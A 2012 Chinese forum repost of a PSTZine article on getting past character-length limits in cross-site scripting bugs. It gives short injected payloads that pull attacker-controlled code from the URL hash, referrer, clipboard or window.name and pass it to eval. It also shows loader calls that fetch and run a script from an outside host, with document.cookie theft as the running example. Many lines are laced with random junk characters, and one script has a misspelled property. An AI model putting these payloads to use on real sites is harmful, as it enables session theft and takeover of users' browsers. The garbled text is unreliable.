找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1929|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x04][突破XSS字符数量限制执行任意JS代码]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==- D2 l4 M7 j- |. z6 I% X& p. E

" \1 b/ z* Q2 v0 P$ {+ }                       Issue 0x03, Phile #0x04 of 0x073 D& M- b, r7 O7 I7 h

6 b% d8 y: g$ @& ^2 ^; [; ?7 ?7 X1 S$ x1 W& l) Y0 x
|=---------------------------------------------------------------------------=|
# e; j( Z9 U% A) P/ L' r|=-------------------=[ 突破XSS字符数量限制执行任意JS代码 ]=-----------------=|9 \. a" G; k' E
|=---------------------------------------------------------------------------=|8 R* o: V5 C% }3 f
|=---------------------------------------------------------------------------=|
4 X* w3 f1 j  W5 N2 W1 `/ q|=------------------------=[      By luoluo     ]=---------------------------=|
( C8 V/ W$ e5 _/ ?0 F; \8 Y|=----------------------=[   <luoluo#ph4nt0m.org>  ]=------------------------=|7 M% w& @: O1 M6 B% W' C
|=----------------------=[    <luoluo#80sec.com>   ]=------------------------=|
6 ^. e4 L/ }# _- h+ c' k|=---------------------------------------------------------------------------=|
4 l/ f' J1 O9 K9 R& E% `7 j
( u9 n9 Q" _: S# T& L6 x5 ]/ e$ C
[目录]% X& a0 E3 B) ?+ Q) H1 o
, L; k6 x; w* c* s) q
1. 综述
  d  x9 T6 w. a2. 突破方法
0 \. @5 I; N2 z) ]7 i; h; E& G# G4 e  2.1 利用HTML上下文中其他可以控制的数据; e" z5 i  X+ w. k! \6 c
  2.2 利用URL中的数据
  Q, ^5 Q) K: j' K/ N* p  2.3 JS上下文的利用6 {' B6 K, F" y4 m+ b
  2.4 利用浏览器特性在跨域的页面之间传递数据
, f6 g1 }: J) z2 U, h$ q. R    2.4.1 document.referrer4 g3 I/ Z3 s- y: W: H! Q+ p9 @
    2.4.2 剪切板clipboardData
2 {. J9 S5 B6 B    2.4.3 窗口名window.name
: I3 \$ U  `! x. t  2.5 以上的方式结合使用
  h: ~' o* _; X3. 后记" R. p# W, V1 D! u
4. 参考
, k9 C3 c1 M4 r3 D$ M2 O: v7 F* v( m( R) Y$ N: u0 h
) P+ a& u, q& F6 X
一、综述
( b3 ]6 N* ]0 J
. a5 e3 b4 |! ^1 w/ }9 x    有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主
: {0 q' o3 D) q( f要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不受限制执
! m  Y1 g0 R" j6 _# W1 v$ [( M; U行任意JS。对于跨站师们来说,研究极端情况下XSS利用的可能性是一种乐趣;对于产品安全4 J% x; G) c4 S8 O
人员来说,不受限制的利用的可能是提供给开发人员最有力的证据,要求他们重视并修补这些
. o; D+ M" W9 a, k# ?" v极端情况下的XSS漏洞。
, G* g& L2 [3 r# H% v: Q' s$ v$ x. Q8 F$ m' ~9 P
    突破的方法有很多种,但是突破的思想基本都一样,那就是执行可以控制的不受限制的数
# G( e) x6 U# E4 R5 J, E据。4 V2 j; a& y  v9 A
; y2 [4 L3 c6 G9 D. \8 L+ S+ o
$ v6 \" S% w! ^1 C/ k
二、突破方法
8 }; ]6 i! X' d3 Q8 g2 t9 U; N
6 c4 f, w: q' y7 m# s' b9 h9 u8 T: O: {2.1 利用HTML上下文中其他可以控制的数据
6 i' u. U! r9 K7 m* e
, Z9 g) Q8 q+ e) o# p3 G- Y- L    如果存在XSS漏洞的页面HTML上下文还有其他可以控制的数据,那么可以通过JS获得该数9 m# T4 ~0 C- R/ t5 a/ Q* y
据通过eval或者document.write/innerHTML等方式执行该数据,从而达到突破XSS字符数量限0 R7 X3 `0 n5 G
制的目的,下面例子假设div元素的内部数据可以控制,但是该数据已经被HTML编码过:3 |' G0 t' l: w: E( H2 ]- e  E
/ A5 Z9 ~& V$ C1 w
--code-------------------------------------------------------------------------
/ K2 ?! M' Z4 W" p5 N' W<div id="x">可控的安全的数据</div>
4 S8 x6 i4 \" I- x2 Z, q<limited_xss_point>alert(/xss/);</limited_xss_point>
7 x( L$ C# B+ E- b$ ^  y6 T-------------------------------------------------------------------------------* P2 W" p2 U; m) V: ~$ w8 P

1 L4 u: U( `3 y2 T: B# k3 ?    由于XSS点有字符数量限制,所以这里只能弹框,那么我们可以把XSS的Payload通过escape
. d/ h, _0 S2 l7 M+ ~. |0 L- w编码后作为安全的数据,输出到可控的安全数据位置,然后在XSS点执行可控的安全数据:
$ F8 L# X, H) I; V7 S2 y$ a7 O8 F. Z/ p: g- x
--code-------------------------------------------------------------------------
! M" f, J4 ?, F<div id="x">alert%28document.cookie%29%3B</div>
2 _7 @2 G, W- f9 k& l<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>9 x/ A) S) m! V3 h
-------------------------------------------------------------------------------0 m9 G& O0 x9 b; a
+ C/ L7 ?' I( k/ v
长度:28 + len(id)) V2 q7 d8 B  ~( o- Z8 t
+ G7 l0 w6 b( `+ y& L
    由于x内部的数据没有字符数量的限制,那么从而可以达到执行任意JS的目的。2 g  c) v7 D) z8 x* Q# i

: J# D: d6 ]; j# Z# [8 c% m8 W0 G: [8 e- }
2.2 利用URL中的数据
1 c1 ]' ~; \2 l& m" X
8 M3 S4 E0 X; c0 Y; R4 P    如果页面里不存在上一节所说的可控HTML上下文数据怎么办?有些数据是我们无条件可5 _& w) `! {5 H, ^
控的,第一个想到的就是URL,通过在URL的尾部参数构造要执行的代码,然后在XSS点通过
. @" U& W2 g8 D6 u6 [document.URL/location.href等方式获得代码数据执行,这里假设代码从第80个字符开始到0 `: F1 i; S2 K9 S4 ]
最后:
6 F  m* X2 q9 ?4 W, B
- E2 u, x2 _' l- _; S: C+ Z--code-------------------------------------------------------------------------
  X2 {0 t( G4 d$ F" `5 t. n( Lhttp://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)5 x! V% h: e$ |/ v0 }+ N3 o- ^

5 S6 Y% q( b6 z<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
' J6 H% \7 @) t# }+ |5 `-------------------------------------------------------------------------------4 H. y0 u! k- a! \
! R* {( y. k$ Q! ^( Z
长度:30$ D6 v1 W2 p9 u* b$ C+ O
. x: C5 ?) w& M  M& v/ J( j( m, F
--code-------------------------------------------------------------------------
9 u7 X# n( F1 E2 B5 X<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>0 X7 g/ [+ _: F% p( {
-------------------------------------------------------------------------------0 Y! n( Q5 c- z
" ~3 P. C; O! U3 l0 W2 W& X
长度:31, [0 Y3 ], u% r# J$ N. F: g
3 M- @0 ^3 W. K* N+ H
    上面两个例子对比,前一个例子更短,那么有没有办法更短呢?通过查阅JavaScript手册. @6 ]5 }8 p; R3 J: f4 }
的String的方法可以发现,切割字符串有一个更短的函数slice,5个字符比substr还要短一个
5 ]5 v6 s, w& ]字符:
: U* o# c' s2 e* g) y6 y$ b
1 c/ P& Y# Q+ n8 P--code-------------------------------------------------------------------------& \# B: _8 |* q$ N+ B9 S
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>6 w* r# D+ E' Q7 T
-------------------------------------------------------------------------------$ T) V; d# E6 a6 |  _
; D3 q0 ~: t" o+ Y2 h! O# p
长度:292 e0 \; l# l% D" J& [: t! a
- b5 V# }0 Y4 ~
--code-------------------------------------------------------------------------
, H& L2 b2 j7 k& B2 f<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
# I' y7 k+ M; q/ U9 `! u-------------------------------------------------------------------------------
0 |' m1 h; S6 M7 e) F' e* C0 X  I  W2 h- a' Q: D* [# S
长度:30
9 V. [/ i$ P" U8 \! D' M: i8 |) g9 G) N
    那么还有没有办法更短呢?答案是YES,查阅一下MSND里的location对象的参考你会发现+ j; K# \! @. y  u) S4 ?
有个hash成员,获取#之后的数据,那么我们可以把要执行的代码放在#后面,然后通过hash获: U9 |% y  N( h: a& o
得代码执行,由于获得的数据是#开头的,所以只需要slice一个字符就可以拿到代码:3 P- J- ]7 a& v% t

" w1 }: m1 e+ ]' H+ d; `--code-------------------------------------------------------------------------7 e) S- H* z& z/ I% \
http://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)& [! W. `4 b% x1 E
# P* ~" |% F0 l: U( Y2 \; u) M% f
<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
  c: I2 s) }5 n7 ^* |( v. s/ k-------------------------------------------------------------------------------
) v9 B$ [, a# g9 l8 _9 p% s- Q3 }( @7 e4 J
长度:29
) \  `! V5 X: p8 |0 G2 {8 C2 {$ G  x0 m% l
    这样比上面的例子又少了一个字符。那么还可以更短么?
! q% B- f3 T0 ?6 r5 Q5 L1 g
* T2 D+ ]' a! N( I: M2 z- T4 R( ~! Z- P2 {; j7 ?1 P3 B
2.3 JS上下文的利用
6 t4 H( u/ W. o" H  Z& J
  v/ b# u4 C0 F1 C# A% H7 a    为什么我如此痛苦?那是因为JS和DHTML的方法名和属性名太长!瞧瞧这些“糟糕”的名字:
( {/ u" P2 w9 B. g" W$ e
6 ^( [  f( I8 E+ G% MString.fromCharCode
- V' S' D4 r, ]getElementById6 o8 B+ i/ _- P. i
getElementsByTagName
, H9 B* H* h- S, jdocument.write
3 k+ a3 `% ~9 K# @) ^& W9 }% n" UXMLHTTPRequest
, \: l, l( r, h7 j7 D  H...+ Q/ G/ j( v% _& n
8 p4 {1 }1 m# {3 h3 t% s, ?4 X# w
    就连开发人员也不愿意多写一次,于是很多站点的前端开发工程师们封装了各式各样的2 }5 O5 E0 O" U: k( `% [
简化函数,最经典的例子就是:
  P6 Q4 S) f$ ]& }/ B: k8 g5 a5 e8 Y; a
--code-------------------------------------------------------------------------
: ?' x) ]: V8 I2 F8 u3 X" ?function $(id) {
- L( X6 K- Y! C9 ]6 O        return document.getElementById(id);9 j- I1 e6 [# e/ v4 D
}0 _1 r& O, s- _
-------------------------------------------------------------------------------3 |3 X- {6 i! C) y) @% ^
. A6 M* l' p7 W8 ~" x2 }
    这些函数同样可以为我们所用,用来缩短我们的Payload的长度。不过上面这个例子不是
# d, j) \0 F2 z& K% ~  J最短的,IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码:+ Y; o" @. ?9 E( j8 o
6 c, x; S- L) ~( }- p
--code-------------------------------------------------------------------------" i+ w+ W0 _+ [. P; H) {/ ~
function loads(url) {
& Q+ A, ^5 o& [$ p/ G7 ?! m/ v$ A        ...: M3 X5 b  u: B! `; C& f
        document.body.appendChild(script);
. W2 l3 ?. x& h' k3 r$ s}, z2 ]2 [* X* h( F5 j
+ e/ P( k4 h( X% Y- {) G: L
<limited_xss_point>loads('http://xxx.com/x');</limited_xss_point>
1 m3 u+ A6 n9 [0 t4 L/ S) }-------------------------------------------------------------------------------$ F6 S6 R, R1 ~3 B( U1 a; X
6 X) a5 x3 Z) {+ P
长度:len(函数名) + len(url) + 5
) W/ ]. z: P% W% m$ A6 }; _4 p$ Z9 A* _0 M7 H+ `
    当然你的url则是越短越好哦!有些函数则会帮我们去作HTTP请求:
3 K3 R3 S% }- a7 q6 a/ P% {
6 F" }; V1 F" p* I2 K--code-------------------------------------------------------------------------& t$ j$ ^5 U4 l7 i; r0 M
function get(url) {( I) s# a* K* S& E- f
        ...
8 C% P' ?: M; U9 N7 Q* N        return x.responseText;
; L. W; R* F. N' Y}9 p8 S1 L: T' T
4 G, s$ f' T/ {' O: |
<limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point>* R' b: _% h- j5 ^" F9 `
-------------------------------------------------------------------------------: c+ T  T/ Z- k3 o' l" e
' \8 {+ G! n3 R# [# ^
长度:len(函数名) + len(url) + 11
1 N  z6 G  b9 k4 \6 r" W/ S/ }3 I0 J! s5 I4 O: C% n1 t
    道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用,比如:
) L& H: T- m  T( N4 z1 d4 f9 _1 n7 K' X5 s) J' c
JQuery: Q$ v" E) v8 e' `
YUI
& O, N2 F. Z/ W- b0 @...# [! O' c' _* C+ [" ^7 E
/ {  u! g* w4 ]- ^7 N
    综上所述,我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我5 |' N# ~5 ~9 O$ D+ T' P. Z  B
们的代码,进而突破长度限制执行任意代码。
  U  C5 W* g$ c: R6 x( `- Z$ C: ]+ q) t

) N9 k9 S& o: I0 N: @2.4 利用浏览器特性在跨域的页面之间传递数据
% G( A* c$ {. W, G2 d. ~+ p  w. Z8 e1 E( y, s( \
    虽然有同源策略的限制,浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的1 z4 e( {' i1 i7 E
方法,我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。  c! n/ `6 o4 C; F5 [0 `

5 r% D" K% r0 e! r- F5 `2.4.1 document.referrer2 N9 T; s" O2 _0 V0 ]1 T9 j
9 V' i& c7 e; U' b- Z+ C3 O. F
    攻击者可以在自己的域上构造页面跳转到被XSS页面,在自己域上的页面的url里带了" b# I/ W" j& Q- s! q- g, ]
Payload,被XSS的页面通过referrer获取相关代码执行。
6 x( O* w& h" i! Z& _) t; q% e/ N$ N2 r" {' Y& r) N; U
攻击者构造的的页面:
* Y5 ]5 ]: j7 D1 b0 L& H1 q( n3 ~% Y8 c6 r) q+ h: t& }6 S6 l/ V& E
--code-------------------------------------------------------------------------8 a0 N) p8 L) T% {0 y0 D: ~
http://www.a.com/attack.html?...&alert(document.cookie)( L4 E9 n. O% D
  X% ^/ U2 a, v: u. g4 j
<a href="http://www.xssedsite.com/xssed.php">go</a>8 P5 [( f; c' z3 @5 `4 V
-------------------------------------------------------------------------------5 ?' N4 |! @  h( c/ v1 T! j" C

* X+ w/ p, Y; t7 k0 ?9 R( M被XSS的页面:
: S8 @" C) G( g4 s& L1 c* y' z# ^; ^( x' Q* y3 G* M
--code-------------------------------------------------------------------------
9 Q  v2 Q) Z" R! l6 @. b<limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>
6 {) A5 k, X0 W-------------------------------------------------------------------------------! z* Y! I2 v) ^0 h! n9 B" n8 Z' _

& d, z% S; V4 Z2 X' J& T. v9 @长度:34
# _1 Z! l2 J. N8 u% B& ?4 H/ Y. g# P" _) b1 F$ o# S2 U  t
    这种方式利用上还有一些问题,如果使用location.href或者<meta http-equiv=refresh>( e- H5 k( @: M4 }+ g
实现的自动跳转,在IE里被攻击页面拿不到referrer,而FF则可以。QZ建议用表单提交的方式
% J9 h+ @4 Q+ X7 U比较好,我测试了下,果然通用,FF/IE都可以成功获取referrer:2 G& Q  {1 H' l
% N4 U7 x5 `+ m# u" b' I7 ?1 V
--code-------------------------------------------------------------------------  Y. Q$ D$ h9 I, i
<script type="text/javascript">3 Q2 \* G  a9 l+ E; n1 z. l
<!--0 A, L/ [9 y# S7 ~% A5 X+ J" L6 S
window.onload = function(){- B1 V& m0 C0 `0 X2 |; ?
        var f = document.createElement("form");8 _% \3 c; }1 K7 i$ i5 C
        f.setAttribute("method", "get");
3 v+ }9 e! ?* d+ i        f.setAttribute("action", "http://www.xssedsite.com/xssed.php");+ }) L$ j9 u/ |, C6 I7 B
        document.body.appendChild(f);! S3 f% y, |) }) o) u- @% y
        f.submit();" R$ U9 V. U* a: c* q% @0 E
};- O6 }2 H8 Y! ]
//-->
: _, i/ D9 y0 y! l3 t5 V3 X4 a</script>6 U7 l: d0 Q- }5 \, T
-------------------------------------------------------------------------------
4 o0 k/ @" q5 V9 M2 B7 z* F3 w- e8 [5 Q0 j0 m) L
: _! s6 {; G/ K
2.4.2 剪切板clipboardData! `1 e9 ~0 g5 M

" g5 C* \7 U' F    攻击者在自己域的页面上通过clipboardData把Payload写入剪切板,然后在被XSS页面获: s- I7 {1 d7 a3 i) E
取并执行该数据。
8 s8 B; }3 M1 N/ R" H6 _& F9 F9 Q0 Q* |0 b. X" v
攻击者构造的页面:7 u' J; i( s* i/ k* V5 `( g
% P* M5 B4 n$ T1 q9 X% h
--code-------------------------------------------------------------------------
$ ?6 Z6 x- f- h: w( v7 I( F5 ]7 s<script>, p, _0 K3 ?& \" d
clipboardData.setData("text", "alert(document.cookie)");# T3 D7 |! y; F4 V! t  d  p
</script>& w6 G/ s# g: @+ K
-------------------------------------------------------------------------------
9 |" H! q/ d- f  o& d, _
. L& Z' k  d9 `  Z8 s& w3 d( y. K- x被XSS的页面:9 ], k) J6 `; F$ }: ?9 x. j

8 ?+ `) o( E' a! Y- |--code-------------------------------------------------------------------------
: \  G8 W8 p& B  @+ [0 M<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>% L- K% d- T: g5 B
-------------------------------------------------------------------------------
' M- ^4 H1 u/ Z& b+ {: w$ I, a  _/ N2 O! m/ a
长度:36
9 Y/ g6 R8 U; m" I" H  h
7 S- I/ T1 b: [: a7 a% w    这种方式只适用于IE系列,并且在IE 7及以上版本的浏览器会有安全提示。
& f& V* D' h5 x) t0 I$ g  c' a
: J# I5 F% \  v! C7 ]& @, p7 ]  f. s1 r+ K; H; j/ N: ~
2.4.3 窗口名window.name" O0 E9 e7 h. W, `3 e

) O# R3 ?% U3 j7 _4 g9 e    这是一个很少被用到的特性,在研究同源策略时就注意过这个属性,它是可以跨域传递数
3 ~  B, U7 e7 N; ]( z7 W, V# f. x& d据的,但是这个特性本身并不是漏洞。: ?) o/ Z+ l3 G8 S9 A: u
2 f1 L" k0 M  L: b
    如果仔细研究过window.open这个方法,会发现一个不常用的第二个参数,这个则是设置3 t- M$ Y4 c7 g7 c; M4 l3 O5 t
窗口名,用于指定target窗口,如果不存在的话则创建新的子窗口,并设置子窗口的name。当5 c! {5 K$ G, f" `( R. Q
我想打搜window.open时一阵狂喜,喜的是window.name这个属性是window对象的成员,那么只
, B1 I& v% O( k需要name就可以引用该属性,但是测试时却发现window.open方法对于第二个参数进行了严格% w4 P/ C' m5 I+ s% o8 c
的检查,只允许数字字母以及下划线的组合,禁止特殊字符进入,那么这种方式就没法写入JS
; f# }! `: N! Q) l! G) B8 L8 e$ J或者VBS。
/ G5 z! u0 M7 ~: u
/ r0 Z* e) H+ _( Q+ I    但是经过测试发现我们可以通过window.name直接设置当前窗口的name则没有特殊字符- ]% R5 o+ s) L1 ^. `& m
限制,然后直接跳转到被XSS的页面,通过name属性传递Payload过去执行:+ `; ]1 b  P  V+ w! k

+ ~' `- U" v5 C攻击者构造的页面:
7 q* ~# I* B/ ]4 c$ I; D1 x( p/ j/ j5 I% W; A  A! w; ~: k" V* O
--code-------------------------------------------------------------------------
( `1 w/ @* l- _" d<script>; I6 H9 v3 r" u
window.name = "alert(document.cookie)";. C: I$ l# c; }
locaton.href = "http://www.xssedsite.com/xssed.php";3 r7 {5 T. W, _
</script>
9 N3 j( s" |8 Z) T& m& a-------------------------------------------------------------------------------* z; ]7 V1 P" A, f9 t
* p3 `; T& _  B5 X$ {! p
被XSS的页面:
2 h. T$ S+ n# P2 X2 J5 l4 i5 g/ ~$ ?. P
* f! \2 ?" ^2 O+ `--code-------------------------------------------------------------------------- t2 m2 q  g$ n8 S+ U3 _
<limited_xss_point>eval(name);</limited_xss_point>
! S. l" r7 ?: p" P) f-------------------------------------------------------------------------------
& P0 R2 [* B- `5 a& Y
2 C% U" O4 _+ D9 V4 N( _* v长度:11
; ^9 B8 f- _8 T- G& T0 h
$ W, }7 t8 ~7 w0 b7 V. Z5 f    这个长度可以说是短到极致了,并且这个方法IE/FF都可以很好的支持,是个非常有意思
" f2 W  m& k) l8 Y的技巧,这个技巧的发现也是促成本文的直接原因。
; U- W( V2 R8 ]: g& E! L3 W
2 H5 o' N! K1 S: M1 e    window.name的特性还有其他一些有趣的应用方式,这个方面的话题以后可以专门写篇文$ s, o% [1 P# ^
章来探讨。
9 w( S) I7 c( n; Q$ l/ r/ F
4 ]1 a+ j# w% A4 [" ]% E2 D, h7 ?! [8 P
2.5 以上的方式结合使用
9 {& E# f9 Y& Y, {, z: Y2 @; }9 q7 h; a9 T
    以上的方式结合使用,一般情况下会使得长度更长,但是也不排除在某些变态的过滤情况
9 O  t4 {9 v' N' N  t% L, R中,灵活的组合上面的方法可能会起到奇效。
/ t7 y8 X' r% Y5 F4 X4 a' N3 [5 p, Y. M  l

, B/ m2 o0 S6 @三、后记
2 G% n( \6 d9 a, j6 X' p) Z5 y/ L  c" x
    JS非常灵活,所以方法肯定不限于这些,在具体的问题的分析和研究中,可以获得很多的
) |4 ]: G. T$ R# K+ _" ]乐趣,并且对JS以及浏览器本身有了更深的认识,如果您有巧妙的技巧或者新奇的构思,欢迎5 c  u8 L1 A' V) y0 A  `
和我交流!
6 e/ M8 K7 ?* V: d! g+ [$ ]* t+ D* q/ |% L4 m$ j) Z; N, {
    感谢axis*刺*大风*道哥、rayh4c*QZ*茄子为本文提出的宝贵意见!2 ~, {3 R0 O$ d  N* w! e; R* ^

1 j5 e+ W2 L# r/ w6 I* @& j; C4 m    本文是纯粹的技术探讨,请勿用于非法用途!+ \$ t3 n7 K- Y" Y, ]" e+ U4 F5 n+ z

$ F, U  ]. j0 `- a$ E) d& a) V9 j# r- ?, A1 ^
四、参考
' P  Z* R: D  x- L1 I% U$ U1 g1 ~9 K6 e$ Q/ @& O
http://msdn.microsoft.com/en-us/library/aa155073.aspx
8 v' z8 o. Y' f& d. o1 f/ c/ f$ _2 R' O9 K9 B3 R9 X
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表